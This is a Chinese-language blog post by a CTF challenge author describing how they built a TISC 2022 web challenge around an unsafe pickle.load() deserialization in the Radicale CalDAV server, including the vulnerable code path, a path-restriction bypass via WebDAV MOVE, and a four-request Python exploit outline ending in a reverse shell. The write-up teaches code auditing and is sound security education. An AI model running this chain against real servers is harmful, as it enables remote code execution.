挑战设计:为2022年信息安全挑战赛打造CalDAV协议漏洞利用关卡

挑战设计背景

虽然我不常参加CTF比赛,但热衷于设计CTF挑战题目,因为这能迫使我通过实践学习。设计优秀的CTF挑战更像艺术而非科学。作为去年3万美元奖金"The InfoSecurity Challenge"(TISC)的获胜者,我决定今年贡献一个挑战题目。

完整挑战代码已发布在GitHub

设计原则

教育性

最好的CTF挑战应该具有教学价值。我的挑战围绕CalDAV协议设计,这是WEBDAV(HTTP的扩展协议)的研究较少的超集协议,从iOS默认日历到IoT设备都在使用。在DEF CON 30大会上,我展示过iCalendar文件格式的研究,但未公开其通信协议的相关发现。

真实性

尽管所有CTF挑战都存在人为设计成分,我尽量保持真实性:使用真实开源代码(Radicale服务器),确保漏洞利用链逻辑合理,还原日常Web漏洞研究中的代码审计体验。

透明性

避免"通过 obscurity 增加难度"的黑盒模式,我构建了白盒挑战,所有相关代码都对参赛者可见。

挑战性

Web类题目通常是最容易的CTF挑战类别。我试图打破这种认知:虽然提供源代码,但要求参赛者阅读RFC文档并构造特殊payload。

最重要的是——这个挑战必须足够优雅:
:prohibited: 禁止暴力破解
:prohibited: 禁止盲目猜测
:bullseye: 最终获得反向shell

"几乎可利用"的漏洞

漏洞研究中最痛苦的时刻,就是发现某个潜在漏洞点因输入过滤、验证或数据转换而无法利用。Radicale(流行开源CalDAV服务器)中就存在这样的"准漏洞"。

Radicale除了处理iCalendar文件外,还使用Python标准库pickle存储日历元数据。当调用pickle.load()反序列化时,会执行pickle文件中类的__reduce__方法——这是众所周知的代码执行向量。

Radicale在三处调用了pickle.load(),其中一处位于storage/multifilesystem/sync.py

class CollectionPartSync(CollectionPartCache, CollectionPartHistory,
                         CollectionBase):
    def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:
        if old_token_name:
            with open(old_token_path, "rb") as f:
                old_state = pickle.load(f)  # 漏洞点

触发路径需要满足:

  1. 发送REPORT请求,XML正文包含D:sync-collection根元素和D:sync-token子元素
  2. sync-token值格式必须为:http://radicale.org/ns/sync/<64位小写hex字符串>
  3. pickle文件必须存在于:<根目录>/<用户名>/<日历名>/.Radicale.cache/sync-token/<合法token名>

但Radicale的路径消毒函数is_safe_filesystem_path_component()会检查路径段是否以点开头,阻止写入.Radicale.cache目录。

构造利用链

作为CTF挑战,我通过以下设计使"准漏洞"变得可利用:

  1. 用Go编写"开发版"CalDAV服务器,共享Radicale的根目录
  2. 保留授权检查但移除.开头的路径限制
  3. 利用WebDAV的MOVE/COPY方法(通过Destination头指定目标路径)绕过路径段限制

完整攻击仅需4个HTTP请求:

# 1. 创建sync-token目录
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=generate_sync_token)

# 2. 上传payload
session.put(DEV_SERVER_URL+"/"+USERNAME+"/payload", data=pickle.dumps(RCE()))

# 3. 移动payload到目标位置
session.request("MOVE", DEV_SERVER_URL+"/"+USERNAME+"/payload", 
               headers={"Destination":DEV_SERVER_URL+"/"+USERNAME+"/default/.Radicale.cache/sync-token/"+SYNC_TOKEN_NAME})

# 4. 触发执行
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=execute_payload)

意外挑战与解决方案

测试中发现三个意外问题:

  1. 其他pickle.load()调用点:通过nginx反向代理禁用GET等方法,强制使用REPORT方法触发目标路径
  2. 环境隔离问题:使用radicale受限用户和定时清理脚本防止解题干扰
  3. 解题时间预估偏差:原预计6小时,实际平均耗时7天,最终通过三条渐进式提示引导参赛者:
    • "将其视为代码审计挑战,已提供反向代理配置"
    • "研究RFC中的PROPFIND方法,关注其他HTTP方法"
    • "两个服务器共存的原因?尝试利用一个服务器攻破另一个"

经验总结

这次挑战设计揭示了:

  1. 难度评估的复杂性
  2. 在"透明性"和"挑战性"之间需要权衡
  3. 充分的测试环节至关重要

最终目标不仅是比赛——希望参赛者能深入理解这个广泛使用但陈旧的协议标准,并掌握代码审计的核心方法论。祝贺所有获胜者!
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码

posted @ 2025-07-24 14:01  qife  阅读(24)  评论(0)    收藏  举报